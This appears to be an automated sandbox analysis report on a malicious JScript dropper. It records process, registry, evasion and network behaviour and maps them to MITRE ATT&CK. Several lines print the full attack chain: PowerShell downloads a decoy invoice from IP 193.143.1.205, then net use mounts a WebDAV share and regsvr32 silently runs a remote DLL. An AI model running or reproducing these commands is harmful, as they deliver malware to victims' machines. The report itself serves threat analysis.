Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9955.js.csv");ITextStream.WriteLine(" entry:7466 f:vwqnzknc");ITextStream.WriteLine(" exec:2 f:vwqnzknc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4918			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4924			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6004	Thread sleep count: 4918 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6004	Thread sleep count: 4924 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6648	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3816	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1856	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7256	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2132885549.00000268774E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2134169302.00000268774E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2132435744.00000268774E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3332028135.000001956762B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3333028663.000001956CC55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2133746662.0000026877488000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: net.exe, 00000007.00000003.2132885549.00000268774E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2134169302.00000268774E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2132435744.00000268774E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
